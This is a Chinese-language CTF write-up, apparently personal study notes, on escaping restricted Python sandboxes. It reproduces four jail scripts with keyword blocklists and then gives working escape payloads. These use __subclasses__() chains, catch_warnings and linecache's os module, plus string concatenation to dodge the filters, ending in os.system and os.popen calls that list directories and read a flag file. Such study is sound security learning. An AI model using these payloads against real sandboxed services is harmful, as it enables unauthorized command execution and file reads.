python沙盒逃逸学习

由于在现在的比赛中出现了沙盒逃逸这种题目,所以就针对python沙盒逃逸学习记录如下。python沙盒逃逸的思路就是题目删除了一些不安全的内建函数,模块导致环境的权限被降低,要利用python语言的特性进行限制的绕过。同时借助前几天赛中的沙盒逃逸演示一下。比赛中涉及的到Python沙盒逃逸往往是利用语言特性来逃逸,但是其实这只是从Python解释器的逃逸,从严格意义上说这是不完全的。从现实意义上来讲更进一步的是利用沙盒的逃逸来控制整个系统,Python的模块通常都是大量C代码的封装,这里面就有未被发现的内存破坏漏洞。所以比赛的题目只是一种思路,更多的还是要结合到实际生产环境中。

实例一

  1. 实验脚本:题目的设置,删除一些内建函数(Python语言加载的时候会自动加载系统的内建模块,python2中是builtin,Python3中是builtins)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    def make_secure():
    UNSAFE = ['open','file','execfile','compile','reload','__import__','eval','input']
    for func in UNSAFE:
    del __builtins__.__dict__[func]

    from re import findall

    #Remove dangerous builtins
    make_secure()
    print 'Go Ahead,Expoit me > ;D'
    while True:
    try:
    print ">>>",
    #Read user input until the first whitespace character
    inp = findall('\S+',raw_input())[0]
    a = None
    #Set a to the result from executing the user input
    exec 'a='+inp
    print '>>>',a
    except Exception, e:
    print 'Exception:',e
    #后面这一段主要是将结果以字符串的形式操作并显示
  2. 脚本运行结果:(环境的限制权限非常低)这里其实就是模拟Python的命令行界面,然后进行相应的操作,只是将一些内建函数删除了,所以无法调用系统命令等等

  3. 正常情况下Python的使用可以调用OS等模块,就可以进行系统命令的调用和文件操作等等:但是经过限制以后的环境就不可以调用了,因此不能调用系统命令拿到flag

  4. 由于删除了对应的内建函数,所以我们要利用Python的特性来绕过这种限制:Python中可以利用file来read文件 但是我们可以发现直接用file这种方式也是被限制了的,所以利用对象的概念,通过元组来加载:(有一个知识点:bases : 类的所有父类构成元素(包含了一个由所有父类组成的元组))

  5. 通过将所有父类组成的元组显示出来以后可以找到file在第40个,然后我们可以通过硬编码的方式调用file加载文件找到flag: ().__class__.__bases__[0].__subclasses__()[40]('./flag.txt').read()

实例二

  1. 首先还是贴上环境的脚本,前提条件和实例一差不多:(不同的是这里能够执行的内建函数只有输入输出,与实例一不同的还有就是这里不回显数据 )

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    #!/usr/bin/python
    print "Welcome to my python sandbox! Enter commands below!"

    banned = ['import','exec','eval','pickle','os','subprocess','kevin sucks','input','banned','cry sum more','sys']

    targets = __builtins__.__dict__.keys()
    targets.remove('raw_input')
    targets.remove('print')
    for x in targets:
    del __builtins__.__dict__[x]

    while 1:
    try:
    print ">>>",
    data = raw_input()
    for no in banned:
    if no.lower() in data.lower():
    #将输入的字符转换为小写和banned中的字符转换为小写比较
    print("Permission Denied")
    break
    exec data
    except:
    print ''
  2. 环境运行结果如下:

  3. 思路与实例一还是一样,都是使用所有父类组成的元组,这里要使用到catch_warnings类(索引在59),进行命令执行 print ().__class__.__bases__[0].__subclasses__()

    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

  4. 经过测试以后发现这里其实可以不用执行59的那个子类,因为没有禁用print函数,当然这里的59这个子类可以用到实例一中进行ls的调用

    print ().__class__.__bases__[0].__subclasses__()[40]('./flag.txt').read()

实例三

  1. 实验环境代码如下:(这里用Python3写的,与前两个相比,这里先删除了两个危险的函数,然后对其他许多函数做了过滤,还对一些字符,如’.’都进行了过滤)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    #-*-coding:utf-8-*-
    #!/usr/bin/python3

    import sys, cmd, os

    del __builtins__.__dict__['__import__']
    del __builtins__.__dict__['eval']

    intro= """
    pwnhubcuit
    pwneverything
    Rules:
    -No import
    -No ...
    -No flag
    """

    def execute(command):
    exec(command, globals())

    class Jail(cmd.Cmd):
    prompt = '>>> '
    filtered ='\'|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back'.split('|')

    def do_EOF(self, line):
    sys.exit()

    def emptyline(self):
    return cmd.Cmd.emptyline(self)

    def default(self, line):
    sys.stdout.write('\x00')

    def postcmd(self, stop, line):
    if any(f in line for f in self.filtered):
    print("You are a big hacker!!!")
    print("Go away")
    else:
    try:
    execute(line)
    except NameError:
    print("NameError: name'%s' is not defined" % line)
    except Exception:
    print("Error: %s" %line)

    return cmd.Cmd.postcmd(self, stop,line)

    if __name__ == "__main__":
    try:
    Jail().cmdloop(intro)
    except KeyboardInterrupt:
    print("\rSee you next time!")
  2. 所以这里就没有办法使用前面说的利用子类进行系统的调用,这里通过获取系统函数地址进行绕过:

    print(getattr(os, "system")("ls"))

    print(getattr(os, "system")("cat flag"))

以上三个实例就是利用Python作为脚本语言的特性来逃逸

实例四

拿最近一次比赛中的沙盒逃逸来演示一下。

  1. 拿到赛题以后nc连接一下并输入一些语句进行测试:(也是许多函数被限制且不回显,经过测试发现是Python2写的环境并且没有过滤‘ . ’)

  2. 这里和我们前面的练习不一样,这里必须要调用系统命令ls来看一下存放flag的文件,找到一个和getattr函数类似的函数getattribute

    print ().__class__.__bases__[0].__getattribute__('o'+'s','sy''stem')('l''s') 发现可以使用单引号调用参数

    ().__class__.__bases__[0].__getattribute__(__import__('o'+'s'),'sy''stem')('l''s') 构造第二个payload,尝试使用导入os模块的方法调用系统命令,结果失败,过滤了os:

    这个时候我们换一下思路,调用子类中的函数catch_warnings,在第59个,构造paylad:

    print [].__class__.__base__.__subclasses__()[59].__init__.__getattribute__('func_global' + 's')['linecache'].__dict__['o'+'s'].__dict__['popen']('l''s').read

    成功列出了目录,经过测试flag在home/ctf目录下:

    print [].__class__.__base__.__subclasses__()[59].__init__.__getattribute__('func_global' + 's')['linecache'].__dict__['o'+'s'].__dict__['popen']('l''s /home').read()

    然后我们加上getattribute构造payload:

    print [].__class__.__base__.__subclasses__()[59].__init__.__getattribute__('func_global' + 's')['linecache'].__dict__['o'+'s'].__dict__['popen']('c''at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb').read()

总结

利用语言特性来进行解释器的逃逸,其实就是绕过python沙盒内部导入模块的白名单;这里我理解为它限制的是语言中最直接的模块、函数的调用,而我们利用的是通过封装的类,以及派生出的子类调用,实现相同的功能。还有不得不说的一点,结合生产环境,通过内存破坏、溢出等方式实现沙盒的的逃逸要理解很多东西,涉及到二进制、fuzzy等等,所以要通过不断的学习才可以综合的利用。由于水平有限,这里只能做到语言解释器的沙盒逃逸,而不是系统层面的。下面给出一个讲利用内存破坏实现Python沙盒逃逸的链接。